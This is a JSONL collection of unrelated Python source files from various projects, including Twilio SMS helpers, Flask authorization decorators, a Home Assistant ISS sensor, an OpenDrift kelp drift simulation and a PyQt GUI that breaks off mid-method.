+{"seq_id":"240457886","text":"#!/usr/bin/env python\n\nimport argparse\nfrom i4media.logger import *\n\nimport i4media.core\nimport i4media.streaming\nimport i4media.restapi\n\n\nparser = argparse.ArgumentParser(description='i4Media-twitter Service Controller')\nparser.add_argument(\n '-s',\n '--stream',\n default=False,\n action='store_true',\n help='Starts a Streaming Service & Bridge')\nparser.add_argument(\n '-r',\n '--rest',\n default=False,\n action='store_true',\n help='Starts REST Api (Single')\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n p = i4media.core.Process()\n services = []\n if args.stream:\n services.append(i4media.streaming.StreamingService())\n p.add('streaming', services[-1].stream)\n services.append(i4media.streaming.StreamingBridge())\n p.add('bridge', services[-1].start)\n if args.rest:\n services.append(i4media.restapi.RestApiBridge())\n p.add('rest', services[-1].start)\n p.start()\n","sub_path":"control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"538335099","text":"# Copyright 2021 Canonical\n# See LICENSE file for licensing details.\n\nimport unittest\n\nfrom charm import PeerRelationDemoCharm\nfrom ops.testing import Harness\n\n# from unittest.mock import Mock\n\n\nclass TestCharm(unittest.TestCase):\n def test_config_changed(self):\n harness = Harness(PeerRelationDemoCharm)\n self.addCleanup(harness.cleanup)\n harness.begin()\n self.assertEqual(list(harness.charm._stored.things), [])\n harness.update_config({\"thing\": \"foo\"})\n self.assertEqual(list(harness.charm._stored.things), [\"foo\"])\n","sub_path":"tests/test_charm.py","file_name":"test_charm.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"149911706","text":"# functions that interact with Twilio\n# import this into server.py\n\nfrom twilio.twiml.messaging_response import MessagingResponse\nfrom twilio.rest import Client\nimport os\n\naccount_sid = os.environ['ACCOUNT_SID']\nauth_token = os.environ['AUTH_TOKEN']\nclient = Client(account_sid, auth_token)\n\n\ndef sms_volunteer_request(message, phone_nums):\n \"\"\"Connects organizations on our app to the Twilio functionality.\n\n Org message is passed in (request is created by info that orgs supply\n on webpage, and is put together as a string before this function is called.)\n Phone numbers of interested volunteers are passed in as a list from\n the database.\n \"\"\"\n\n # can add media url below body if needed\n # media_url=\"https://climacons.herokuapp.com/clear.png\"\n\n for num in phone_nums:\n call = client.messages.create(\n to=num,\n from_='+15109441564',\n body=message,\n )\n\n print(call.sid)\n\n\n@app.route(\"/sms\", methods=['GET', 'POST'])\ndef sms_ahoy_reply():\n \"\"\"Respond to incoming messages with a friendly SMS.\"\"\"\n # Start our response\n resp = MessagingResponse()\n\n # Add a message\n resp.message(\"Ahoy! Thanks so much for your message.\")\n\n return str(resp)\n\n\n\n\n\n# sample data to call functions\nmessage = 'Hackbright needs 30 volunteers today from 2pm to 7pm. Can you make it?'\nnumbers = os.environ['numbers_list']\n\n# functions\nsend_sms_volunteer_request(message, numbers)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"twilio_functions.py","file_name":"twilio_functions.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"618418937","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom django import template\nfrom blog.models import Category, Post, Tag\nimport math\n\nregister = template.Library()\nNAME_LEN_SIDEBAR = 30\n\n\n@register.inclusion_tag('blog/show_current_categories.html')\ndef show_current_categories(is_detail=False, post=None):\n if is_detail:\n categories = post.category\n else:\n categories = Category.objects.all()\n pre_half = categories[:math.ceil(categories.count() / 2)]\n lst_half = categories[math.ceil(categories.count() / 2):]\n return {\n 'categories': categories,\n 'pre_half': pre_half,\n 'lst_half': lst_half,\n 'is_detail': is_detail\n }\n\n\n@register.inclusion_tag('blog/show_current_tags.html')\ndef show_current_tags(is_detail=False, post=None):\n if is_detail:\n tags = post.tags.all()\n else:\n tags = Tag.objects.all()\n pre_half = tags[:math.ceil(tags.count() / 2)]\n lst_half = tags[math.ceil(tags.count() / 2):]\n return {\n 'tags': tags,\n 'pre_half': pre_half,\n 'lst_half': lst_half,\n }\n\n\n@register.inclusion_tag('blog/most_viewed_posts.html')\ndef most_viewed_posts():\n posts = Post.objects.filter(is_publish=True).order_by('-views')[:5]\n for p in posts:\n if len(p.title) > NAME_LEN_SIDEBAR:\n p.sidebar_name = p.title[:NAME_LEN_SIDEBAR] + '...'\n else:\n p.sidebar_name = p.title[:NAME_LEN_SIDEBAR]\n return {'most_viewed_posts': posts}\n\n\n@register.inclusion_tag('blog/recent_posts.html')\ndef recent_posts():\n posts = Post.objects.filter(is_publish=True).order_by('-created_time')[:5]\n for p in posts:\n if len(p.title) > NAME_LEN_SIDEBAR:\n p.sidebar_name = p.title[:NAME_LEN_SIDEBAR] + '...'\n else:\n p.sidebar_name = p.title[:NAME_LEN_SIDEBAR]\n return {'recent_posts': posts}\n","sub_path":"jase_im/blog/templatetags/blog_template_tags.py","file_name":"blog_template_tags.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"609532063","text":"\"\"\"empty message\n\nRevision ID: e0a00045f6c7\nRevises: a27eeb3b21e0\nCreate Date: 2019-07-19 09:32:14.129277\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'e0a00045f6c7'\ndown_revision = 'a27eeb3b21e0'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('user',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('username', sa.String(), nullable=True),\n sa.Column('email', sa.String(), nullable=True),\n sa.Column('password_hash', sa.String(length=128), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_user_email'), 'user', ['email'], unique=True)\n op.create_index(op.f('ix_user_username'), 'user', ['username'], unique=True)\n op.create_table('set',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('timestamp', sa.DateTime(), nullable=True),\n sa.Column('exercise', sa.String(length=128), nullable=True),\n sa.Column('pounds', sa.Integer(), nullable=True),\n sa.Column('reps', sa.Integer(), nullable=True),\n sa.Column('rpe', sa.Integer(), nullable=True),\n sa.Column('notes', sa.String(length=140), nullable=True),\n sa.Column('bodyweight', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_set_timestamp'), 'set', ['timestamp'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_set_timestamp'), table_name='set')\n op.drop_table('set')\n op.drop_index(op.f('ix_user_username'), table_name='user')\n op.drop_index(op.f('ix_user_email'), table_name='user')\n op.drop_table('user')\n # ### end Alembic commands ###\n","sub_path":"backend/migrations/versions/e0a00045f6c7_.py","file_name":"e0a00045f6c7_.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"547960244","text":"import binascii\nfrom functools import wraps\nimport json\nfrom flask import request, jsonify\nfrom api import settings\nimport base64\nfrom signature import (\n recover_public_address,\n ValidationError as SignatureValidationError\n)\n\n\ndef is_json_dict(data):\n try:\n json_data = json.loads(data)\n except ValueError:\n return False\n if not isinstance(json_data, dict):\n return False\n return True\n\n\ndef validate_json(f):\n @wraps(f)\n def wrapper(*args, **kw):\n if not is_json_dict(request.data):\n return jsonify({\"error\": 'payload must be a valid json'}), 400\n return f(*args, **kw)\n return wrapper\n\n\ndef restrict_by_ip(f):\n @wraps(f)\n def wrapper(*args, **kw):\n if settings.RESTRICT_BY_IP_ENABLED:\n if request.remote_addr not in settings.ALLOWED_IP_ADDRESSES:\n return jsonify(error='resource is forbidden'), 403\n\n return f(*args, **kw)\n\n return wrapper\n\n\ndef recover_identity(f):\n @wraps(f)\n def wrapper(*args, **kw):\n try:\n caller_identity = decode_authorization_header(request.headers)\n except ValueError as err:\n return jsonify(error=str(err)), 401\n\n kw['caller_identity'] = caller_identity\n return f(*args, **kw)\n\n return wrapper\n\n\ndef decode_authorization_header(headers):\n # Authorization request header format:\n # Authorization: Signature \n authorization = headers.get('Authorization')\n if not authorization:\n raise ValueError('missing Authorization in request header')\n\n authorization_parts = authorization.split(' ')\n if len(authorization_parts) != 2:\n raise ValueError('invalid Authorization header value provided, correct'\n ' format: Signature ')\n\n authentication_type, signature_base64_encoded = authorization_parts\n\n if authentication_type != 'Signature':\n raise ValueError('authentication type have to be Signature')\n\n if signature_base64_encoded == '':\n raise ValueError('signature was not provided')\n\n try:\n signature_bytes = base64.b64decode(signature_base64_encoded)\n except binascii.Error as err:\n raise ValueError('signature must be base64 encoded: {0}'.format(err))\n\n try:\n return recover_public_address(\n request.data,\n signature_bytes,\n ).lower()\n except SignatureValidationError as err:\n raise ValueError('invalid signature format: {0}'.format(err))\n","sub_path":"request_helpers.py","file_name":"request_helpers.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"162525841","text":"\"\"\"Support for iss sensor.\"\"\"\nfrom __future__ import annotations\n\nimport logging\nfrom typing import Any\n\nfrom homeassistant.components.sensor import SensorEntity\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.const import ATTR_LATITUDE, ATTR_LONGITUDE, CONF_SHOW_ON_MAP\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\nfrom homeassistant.helpers.update_coordinator import (\n CoordinatorEntity,\n DataUpdateCoordinator,\n)\n\nfrom . import IssData\nfrom .const import DOMAIN\n\n_LOGGER = logging.getLogger(__name__)\n\n\nasync def async_setup_entry(\n hass: HomeAssistant,\n entry: ConfigEntry,\n async_add_entities: AddEntitiesCallback,\n) -> None:\n \"\"\"Set up the sensor platform.\"\"\"\n coordinator: DataUpdateCoordinator[IssData] = hass.data[DOMAIN]\n\n name = entry.title\n show_on_map = entry.options.get(CONF_SHOW_ON_MAP, False)\n\n async_add_entities([IssSensor(coordinator, name, show_on_map)])\n\n\nclass IssSensor(CoordinatorEntity[DataUpdateCoordinator[IssData]], SensorEntity):\n \"\"\"Implementation of the ISS sensor.\"\"\"\n\n def __init__(\n self, coordinator: DataUpdateCoordinator[IssData], name: str, show: bool\n ) -> None:\n \"\"\"Initialize the sensor.\"\"\"\n super().__init__(coordinator)\n self._state = None\n self._attr_name = name\n self._show_on_map = show\n\n @property\n def native_value(self) -> int:\n \"\"\"Return number of people in space.\"\"\"\n return self.coordinator.data.number_of_people_in_space\n\n @property\n def extra_state_attributes(self) -> dict[str, Any]:\n \"\"\"Return the state attributes.\"\"\"\n attrs = {}\n if self._show_on_map:\n attrs[ATTR_LONGITUDE] = self.coordinator.data.current_location.get(\n \"longitude\"\n )\n attrs[ATTR_LATITUDE] = self.coordinator.data.current_location.get(\n \"latitude\"\n )\n else:\n attrs[\"long\"] = self.coordinator.data.current_location.get(\"longitude\")\n attrs[\"lat\"] = self.coordinator.data.current_location.get(\"latitude\")\n\n return attrs\n","sub_path":"homeassistant/components/iss/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"7653793","text":"#!/usr/bin/env python\n\nfrom datetime import datetime, timedelta\nimport numpy as np\nimport time\n\nfrom opendrift.readers import reader_basemap_landmask\nfrom opendrift.readers import reader_ROMS_native\n#from kelp.kelpClass import PelagicPlanktonDrift\nfrom opendrift.models.plastdrift import PlastDrift\nimport os\nfrom netCDF4 import Dataset, datetime, date2num, num2date\nimport random\nimport math\nimport glob\nfrom random import randint\n\ntry:\n from osgeo import gdal, osr, ogr\nexcept Exception as e:\n print(e)\n raise ValueError('OGR library is needed to read shapefiles.')\n\n\ndef commonKelpProperties():\n # Thallus = 0\n # New blade / lamina = 1\n # Stipe = 2\n # Fragment = 3\n # feces = 4\n\n #weights = [0.373, 0.7122, 0.4684, 0.03749, 5.908e-6]\n #areas = [0.189097, 0.1323, 0.000452, 0.0007549, 4.39e-6]\n #diameters = [0.4887, 0.410, 0.0240, 0.09807, 0.002365]\n #lengths = [0.002, 0.002, 0.984, 0.0031, 0.002365]\n #volumes = (np.asarray(areas) * np.asarray(lengths)).tolist()\n #densities = [1446.6, 1541.0, 1882, 234.99, 1035]\n #SDdensities = [401, 668.71, 403, 51.09, 48.98]\n\n sinkspeed = [0.165, 0.074, 0.181, 0.036, 0.01]\n sinkspeedsstd = [0.0, 0.0, 0.038, 0.020, 0.0]\n return sinkspeed, sinkspeedsstd #weights, densities, SDdensities, areas, lengths, volumes, diameters\n\n\ndef commonDateProperties(experiment):\n if experiment == 1:\n startTime = datetime(2016, 5, 1, 0, 0, 0)\n endTime = datetime(2016, 8, 1, 0, 0, 0) #8\n if experiment == 2:\n startTime = datetime(2016, 3, 1, 0, 0, 0)\n endTime = datetime(2016, 5, 15, 0, 0, 0) # 5\n if experiment == 3:\n startTime = datetime(2015, 11, 20, 0, 0, 0)\n endTime = datetime(2016, 4, 1, 0, 0, 0) # 4\n if experiment == 4:\n startTime = datetime(2016, 5, 1, 0, 0, 0)\n endTime = datetime(2016, 8, 1, 0, 0, 0) #8\n if experiment == 5:\n startTime = datetime(2015, 8, 1, 0, 0, 0)\n endTime = datetime(2016, 8, 1, 0, 0, 0)\n\n return startTime, endTime\n\n\ndef kelpProperties(num, kelpTypes):\n # Get the options of weights and densities\n sinkspeeds, sinkspeedsstd = commonKelpProperties()\n\n # Loop over num release dates and randomly select type from provided kelpTypes list\n # Kelptypes list contents indicate which of the indices/options you have selected in commonKelpProperties\n # If onlye old blades: kelpTypes=[0]\n\n kelpWeights = []\n kelpDensities = []\n kelpAreas = []\n kelpLengths = []\n kelpVolumes = []\n kelpDiameters = []\n kelpType = []\n\n for i in range(len(num)):\n ind = random.choice(kelpTypes)\n kelpWeights.append(weights[ind])\n kelpType.append(ind)\n # Calculate a random density based on the mean and std values\n\n # Divide STD by 3 to get teh sigma value require dby the function\n stds = np.random.normal(densities[ind], SDdensities[ind] / 3.0)\n\n kelpDensities.append(stds)\n kelpAreas.append(areas[ind])\n kelpVolumes.append(volumes[ind])\n kelpDiameters.append(diameters[ind])\n kelpLengths.append(lengths[ind])\n\n return kelpWeights, kelpDensities, kelpAreas, kelpVolumes, kelpDiameters, kelpLengths, kelpType\n\n\ndef createOutputFilenames(experiment, polygonIndex, shapefile, verticalBehavior):\n startTime, endTime = commonDateProperties(experiment)\n startDate = ''\n if startTime.day < 10:\n startDate += '0%s' % (startTime.day)\n else:\n startDate += '%s' % (startTime.day)\n\n if startTime.month < 10:\n startDate += '0%s' % (startTime.month)\n else:\n startDate += '%s' % (startTime.month)\n\n startDate += '%s' % (startTime.year)\n\n endDate = ''\n if endTime.day < 10:\n endDate += '0%s' % (endTime.day)\n else:\n endDate += '%s' % (endTime.day)\n\n if endTime.month < 10:\n endDate += '0%s' % (endTime.month)\n else:\n endDate += '%s' % (endTime.month)\n\n endDate += '%s' % (endTime.year)\n\n # Special file naming for KINO. Each layer has name 'species.shp' and we want teh species name only.\n head, tail = os.path.split(shapefile)\n\n specie = \"Kelp\"\n outputFilename = 'results/%s_polygon_%s_experiment_%s_%s_to_%s.nc' % (\n specie, polygonIndex, experiment, startDate, endDate)\n animationFilename = 'figures/%s_polygon_%s_experiment_%s_%s_to_%s.mp4' % (\n specie, polygonIndex, experiment, startDate, endDate)\n plotFilename = 'figures/%s_polygon_%s_experiment_%s_%s_to_%s.png' % (\n specie, polygonIndex, experiment, startDate, endDate)\n\n if not os.path.exists('figures'):\n os.makedirs('figures')\n if not os.path.exists('results'):\n os.makedirs('results')\n return outputFilename, animationFilename, plotFilename\n\n\ndef createAndRunSimulation(use_svim, experiment, mapResolution, interMethod, lowDepth, highDepth, layer, polygonIndex,\n shapefile, outputFilename, animationFilename, plotFilename, kinoDirectory, pattern_kino,\n svimfiles2015, svimfiles2016, verticalBehavior, allNum,\n allReleaseTimes, allKelpWeights, allKelpDensities, allKelpAreas, allKelpVolumes,\n allKelpDiameters, allKelpLengths, allKelpTypes):\n # Setup a new simulation\n o = PelagicPlanktonDrift(loglevel=1) # Set loglevel to 0 for debug information\n startTime, endTime = commonDateProperties(experiment)\n\n allKelpWeights_flat = [item for sublist in allKelpWeights for item in sublist]\n allKelpDensities_flat = [item for sublist in allKelpDensities for item in sublist]\n allReleaseTimes_flat = [item for sublist in allReleaseTimes for item in sublist]\n allKelpAreas_flat = [item for sublist in allKelpAreas for item in sublist]\n allKelpVolumes_flat = [item for sublist in allKelpVolumes for item in sublist]\n allKelpDiameters_flat = [item for sublist in allKelpDiameters for item in sublist]\n allKelpLengths_flat = [item for sublist in allKelpLengths for item in sublist]\n allKelpTypes_flat = [item for sublist in allKelpTypes for item in sublist]\n\n allNum_flat = [item for sublist in allNum for item in sublist]\n\n print(\"=> Simulation will release a total of %s particles\\n\" % (np.sum(allNum_flat)))\n\n # Randomly distribute the particles at depths varying between lowDepth and highDepth\n depths = [randint(lowDepth, highDepth) for i in range(len(allNum_flat))]\n\n #######################\n # Preparing readers\n #######################\n reader_basemap = reader_basemap_landmask.Reader(\n llcrnrlon=15, llcrnrlat=68,\n urcrnrlon=23, urcrnrlat=74,\n resolution=mapResolution, projection='merc')\n o.add_reader([reader_basemap]) # Do not include basemap when stranding is deactivated\n\n reader_kino = reader_ROMS_native.Reader([s for s in pattern_kino])\n reader_kino.interpolation = interMethod\n\n if use_svim:\n reader_svim2015 = reader_ROMS_native.Reader(svimfiles2015)\n reader_svim2015.interpolation = interMethod\n reader_svim2016 = reader_ROMS_native.Reader(svimfiles2016)\n reader_svim2016.interpolation = interMethod\n\n o.add_reader([reader_kino, reader_svim2016, reader_svim2015])\n else:\n o.add_reader([reader_kino])\n\n #######################\n # Adjusting configuration\n #######################\n o.set_config('processes:turbulentmixing', True)\n o.set_config('turbulentmixing:diffusivitymodel', 'windspeed_Sundby1983')\n o.set_config('turbulentmixing:timestep', 1) # secondsS\n o.set_config('turbulentmixing:verticalresolution', 1) # default is 1 meter, but since we have longer timestep we justify it\n o.set_config('processes:verticaladvection', True)\n o.set_config('turbulentmixing:TSprofiles', False)\n o.set_config('turbulentmixing:max_iterations', 100)\n\n o.set_config('drift:scheme', 'euler')\n o.set_config('general:coastline_action', 'previous') # Prevent stranding, jump back to previous position\n print(o)\n\n # depths=[randint(lowDepth,highDepth) for i in xrange(len(allKelpWeights))]\n allNum_flat = list(map(int, allNum_flat))\n for i, nums in enumerate(allNum_flat):\n\n if nums <= 0:\n continue\n print(\"Running i=%s num=%s and polygon=%s\" % (i, nums, polygonIndex))\n\n o.seed_from_shapefile(shapefile, allNum_flat[i], featurenum=[polygonIndex],\n z=\"seafloor+1\", # depths[i],\n weight=allKelpWeights_flat[i],\n density=allKelpDensities_flat[i],\n area=allKelpAreas_flat[i],\n volume=allKelpVolumes_flat[i],\n diameter=allKelpDiameters_flat[i],\n length=allKelpLengths_flat[i],\n time=allReleaseTimes_flat[i],\n plantpart=allKelpTypes_flat[i])\n\n # reader_basemap.plot()\n\n #########################\n # Run the model\n #########################\n # o.plot()\n\n o.run(end_time=endTime, time_step=timedelta(hours=2),\n outfile=outputFilename)\n # export_variables=['lon', 'lat', 'z','temp','length','weight','survival'])\n # print o\n\n\ndef setupSeed(seedCount, intervalHours, startTime, endTime, startReleaseTime, endReleaseTime, releaseParticles):\n ##################################################\n # Create seed variation as function of day\n # Called multiple times from setupSeedsForExperiment\n ##################################################\n\n difference = endTime - startTime\n hoursOfSimulation = divmod(difference.total_seconds(), 3600)\n\n difference = endReleaseTime - startReleaseTime\n hoursOfRelease = divmod(difference.total_seconds(), 3600)\n\n timeStepsSimulation = int(int(hoursOfSimulation[0]) / 3)\n\n # print \"=>Release: Simulated Release will run for %s simulation hours\\n initiated on %s and ending on %s\"%(timeStepsSimulation,startReleaseTime,endReleaseTime)\n\n interval = timedelta(hours=intervalHours)\n hoursPerRelease = divmod(interval.total_seconds(), 3600) # hours per Release event\n timeStepsRelease = int(int(hoursOfRelease[0]) / int(hoursPerRelease[0])) # number of Release timesteps\n ReleaseTimes = [startReleaseTime + interval * n for n in range(timeStepsRelease)] # times of Release\n\n # num=np.random.normal(releaseParticles,int(releaseParticles/2)-1, size=len(ReleaseTimes)).astype(int)\n num = [releaseParticles for n in range(timeStepsRelease)]\n # num=np.sort(num) #sort particles in increasing order\n\n print(\"=> Seed episode: %s => Release of %s kelp particles\" % (seedCount, np.sum(num)))\n\n return num, ReleaseTimes\n\n\ndef setupSeedsForExperiment(experiment, releaseParticles):\n print(\"\\nSeed setup started --------\")\n seedCount = 1\n allNum = []\n allReleaseTimes = []\n allKelpProps = []\n allKelpWeights = []\n allKelpDensities = []\n allKelpAreas = []\n allKelpVolumes = []\n allKelpDiameters = []\n allKelpLengths = []\n allKelpTypes = []\n\n # Batch one : Old lamina (77%) released evenly 6 times a day between 122 and 135. \n startTime, endTime = commonDateProperties(experiment)\n startReleaseTime = startTime\n endReleaseTime = endTime\n\n intervalHours = 6\n print(\"=> Release: daily: %s to %s\" % (startReleaseTime, endReleaseTime))\n\n num, ReleaseTimes = setupSeed(seedCount, intervalHours, startTime, endTime, startReleaseTime, endReleaseTime,\n releaseParticles)\n allNum.append(num)\n allReleaseTimes.append(ReleaseTimes)\n seedCount += 1\n\n # Release only old blades\n kelpTypes = [0]\n kelpWeights, kelpDensities, kelpAreas, kelpVolumes, kelpDiameters, kelpLengths, kelpTypes = kelpProperties(num,\n kelpTypes)\n allKelpDensities.append(kelpDensities)\n allKelpWeights.append(kelpWeights)\n allKelpAreas.append(kelpAreas)\n allKelpVolumes.append(kelpVolumes)\n allKelpDiameters.append(kelpDiameters)\n allKelpLengths.append(kelpLengths)\n allKelpTypes.append(kelpTypes)\n # Batch two : New lamina (23%) released evenly 6 times a day once a week \n # Find the number of weeks between start and stop\n num_of_weeks = int(math.ceil((endTime - startTime).days / 7.0))\n\n # Release once per week\n for week in range(int(num_of_weeks) - 1):\n dayN = week * 7\n startReleaseTime = startTime + timedelta(days=dayN)\n endReleaseTime = startTime + timedelta(days=dayN + 1)\n print(\"=> Release: weekly: %s to %s\" % (startReleaseTime, endReleaseTime))\n intervalHours = 6\n\n num, ReleaseTimes = setupSeed(seedCount, intervalHours, startTime, endTime, startReleaseTime, endReleaseTime,\n releaseParticles)\n allNum.append(num)\n allReleaseTimes.append(ReleaseTimes)\n\n seedCount += 1\n # Define the properties of kelp to be released in batch 2\n # new blades, stipes, and fragments (in equal counts - check with Eli)\n kelpTypes = [1, 2, 3, 4]\n kelpWeights, kelpDensities, kelpAreas, kelpVolumes, kelpDiameters, kelpLengths, kelpTypes = kelpProperties(num,\n kelpTypes)\n allKelpDensities.append(kelpDensities)\n allKelpWeights.append(kelpWeights)\n allKelpAreas.append(kelpAreas)\n allKelpVolumes.append(kelpVolumes)\n allKelpDiameters.append(kelpDiameters)\n allKelpLengths.append(kelpLengths)\n allKelpTypes.append(kelpTypes)\n\n print(\"Seed setup done --------\\n\")\n # Return the total number of particles per release date\n return allNum, allReleaseTimes, allKelpWeights, allKelpDensities, allKelpAreas, allKelpVolumes, allKelpDiameters, allKelpLengths, allKelpTypes\n\n\n#########################\n# SETUP FOR KELP PROJECT\n#########################\n\nrunLocally = True\nexperiments = [5]\nreleaseParticles = 5\n\nfor experiment in experiments:\n lowDepth, highDepth = -4, -2 # in negative meters\n verticalBehavior = False\n startTime, endTime = commonDateProperties(experiment)\n\n kinoDirectory = '/imr/vol1/NorFjords5/Malangen-160m_AUG2015-AUG2016/'\n if runLocally:\n kinoDirectory = \"/Volumes/home/CloudStation/NorFjord/\"\n\n #if (startTime.year Using shapefile %s\" % shapefile)\n s = ogr.Open(shapefile)\n\n # Find all kelp polygons in Shapefile\n for layer in s:\n polygons = [x + 1 for x in range(layer.GetFeatureCount() - 1)]\n polygons=[13]\n\n print(('Running for layer with %s features)' % (layer.GetFeatureCount())))\n # Loop over all kelp polygons, releasing kelp and tracking their drift, writing results to file\n for polygonIndex in polygons:\n\n feature = layer.GetFeature(polygonIndex - 1)\n\n print(\"Kelp area %s for polygon %s\" % (feature.GetGeometryRef().GetArea(), polygonIndex))\n geom = feature.GetGeometryRef()\n points = geom.GetGeometryCount()\n ring = geom.GetGeometryRef(0)\n\n if ring.GetPointCount() > 3:\n outputFilename, animationFilename, plotFilename = createOutputFilenames(experiment, polygonIndex,\n shapefile, verticalBehavior)\n\n print(\"Result files will be stored as:\\nnetCDF=> %s\\nmp4=> %s\" % (outputFilename, animationFilename))\n\n print(\"Starting simulations....\")\n createAndRunSimulation(use_svim, experiment, mapResolution, interMethod, lowDepth, highDepth,\n layer, polygonIndex, shapefile,\n outputFilename, animationFilename, plotFilename,\n kinoDirectory, pattern_kino, svimfiles2015, svimfiles2016,\n verticalBehavior, allNum, allReleaseTimes, allKelpWeights,\n allKelpDensities, allKelpAreas, allKelpVolumes, allKelpDiameters, allKelpLengths,\n allKelpTypes)\n","sub_path":"Kelp/kelp_experiment_v1.py","file_name":"kelp_experiment_v1.py","file_ext":"py","file_size_in_byte":17835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"513255448","text":"from market_simulator import MarketSimulator,DataLoader,MarketDAOImpl,AmeritradeAdapter,SMAPreprocessor,SMADAOImpl,HighChartsAdapter\nfrom params_config import config\nimport sys\nsys.dont_write_bytecode=True\n\n\ndef main():\n \n stockSymbols = config['stockSymbols']\n strategyTypes = config['strategyType'] \n\n preprocessors = []\n\n simulator = MarketSimulator()\n\n for i in range(len(strategyTypes)):\n if strategyTypes[i] == 'sma':\n if config['chartingTool'] == 'HighCharts':\n preprocessors.append('SMAPreprocessor(HighChartsAdapter)')\n\n simulator.loadSymbols(stockSymbols)\n simulator.loadStrategyTypes(preprocessors)\n\n\n if config['database'] == 'POSTGRESQL':\n simulator.setMarketDAO('PostgreMarketDAO')\n else:\n print('build_failed')\n\n\n if config['provider'] == 'Ameritrade':\n simulator.setReader('HighChartsAdapter')\n else:\n print('build_failed')\n\n\n simulator.run()\n\n\n\n\n\n\n\n\n \n ","sub_path":"startup.py","file_name":"startup.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"202368966","text":"import os\nimport re\nimport traceback\n\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\n\nfrom core.loadData import loadData, updateCachedData\nfrom core.runSegmentation import runSegmentation\nfrom generated import mainWindow_ui\nfrom gui.configureWindow_TexasTechDixon import ConfigureWindow as ConfigureWindowTexasTechDixon\nfrom gui.configureWindow_WashUDixon import ConfigureWindow as ConfigureWindowWashUDixon\nfrom gui.configureWindow_WashUUnknown import ConfigureWindow as ConfigureWindowWashUUnknown\nfrom util import constants\nfrom util.enums import ScanFormat\nfrom util.fileDialog import FileDialog\n\n\nclass MainWindow(QMainWindow, mainWindow_ui.Ui_MainWindow):\n def __init__(self, parent=None):\n super(MainWindow, self).__init__(parent)\n self.setupUi(self)\n\n self.sourceModel = QStandardItemModel(self.sourceListView)\n self.sourceListView.setModel(self.sourceModel)\n\n # Load the combo box with the data types defined in ScanFormat enumeration\n self.dataTypeComboBox.addItems([str(item) for item in ScanFormat])\n\n self.loadSettings()\n\n def loadSettings(self):\n settings = QSettings(constants.applicationName, constants.organizationName)\n settings.beginGroup('mainWindow')\n\n geometry = settings.value('geometry', QByteArray(), type=QByteArray)\n if not geometry.isEmpty():\n self.restoreGeometry(geometry)\n\n # Fixes QTBUG-46620 issue\n if settings.value('maximized', False, type=bool):\n self.showMaximized()\n self.setGeometry(QApplication.desktop().availableGeometry(self))\n\n self.defaultOpenPath = settings.value('defaultOpenPath', QDir.homePath())\n\n settings.endGroup()\n\n def saveSettings(self):\n settings = QSettings(constants.applicationName, constants.organizationName)\n settings.beginGroup('mainWindow')\n\n settings.setValue('geometry', self.saveGeometry())\n settings.setValue('maximized', self.isMaximized())\n settings.setValue('defaultOpenPath', self.defaultOpenPath)\n\n settings.endGroup()\n\n def selectFormatFromDirectory(self, directory):\n match = re.match(r'^MF03([\\d]*)[-_]((POST)|(PRE))', os.path.basename(directory))\n\n format = (ScanFormat.WashUUnknown if int(match.group(1)) < 12 else ScanFormat.WashUDixon) \\\n if match else ScanFormat.TexasTechDixon\n\n self.dataTypeComboBox.setCurrentIndex(format.value)\n\n @pyqtSlot()\n def on_browseSourceButton_clicked(self):\n directories = FileDialog.getExistingDirectories(self, 'Select source folders of subjects', self.defaultOpenPath)\n\n # Nothing was selected\n if not directories:\n return\n\n # Save the last directory used\n self.defaultOpenPath = os.path.dirname(directories[0])\n\n # Check each of the directories and make sure they are valid\n # Skip adding that row if it isn't valid\n hasError = False\n for directory in directories:\n if not os.path.isdir(directory):\n hasError = True\n continue\n\n self.sourceModel.appendRow(QStandardItem(directory))\n\n # If this is the first set of items added to the list, select the first item\n if self.sourceModel.rowCount() > 0 and not self.sourceListView.currentIndex().isValid():\n self.sourceListView.setCurrentIndex(self.sourceModel.index(0, 0))\n self.sourceListView.setFocus()\n\n # Select the appropriate data format based on directory contents\n # Only do this if this is the first item added, makes it easier 